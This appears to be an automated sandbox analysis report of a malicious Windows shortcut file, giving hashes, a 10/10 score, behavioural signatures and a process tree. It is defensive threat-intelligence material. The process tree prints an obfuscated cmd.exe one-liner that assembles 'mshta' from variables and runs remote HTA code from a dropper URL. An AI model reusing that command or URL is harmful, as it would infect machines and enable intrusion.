Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4TWK2E.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-4TWK2E.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-4TWK2E.lnk
- Size 1KB
- Sample260804-kbnt6sbj4v
- SHA256 7cddeadede2596042d01dd53d0747bc46df8ffcb842651331154637ec02142df
- MD5 f603710e67b896a072f6d155adaecb7c
- SHA1 56f75fdf61f8c36f5d5f992ccbc91d5222442865
- SHA512 90478111d743992031fdbc7e4461a6e1ee824bbc1220b2a49b7a62ffe521e622b2d9a766d96050093985363ebffd98a785c4f8da6ae131d1583e4797477796b5
- TLSH T1F53147503EFD0664F3B78F7699BB5B2489BFB8568D20C62E0141464C5032A15E53AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4876 cmd.exe 3640 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4876 wrote to memory of 3640 4876 cmd.exe 89 PID 3640 wrote to memory of 2888 3640 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4TWK2E.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set YlDh=msh&&set xo=ta&&start "" !YlDh!!xo! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2888
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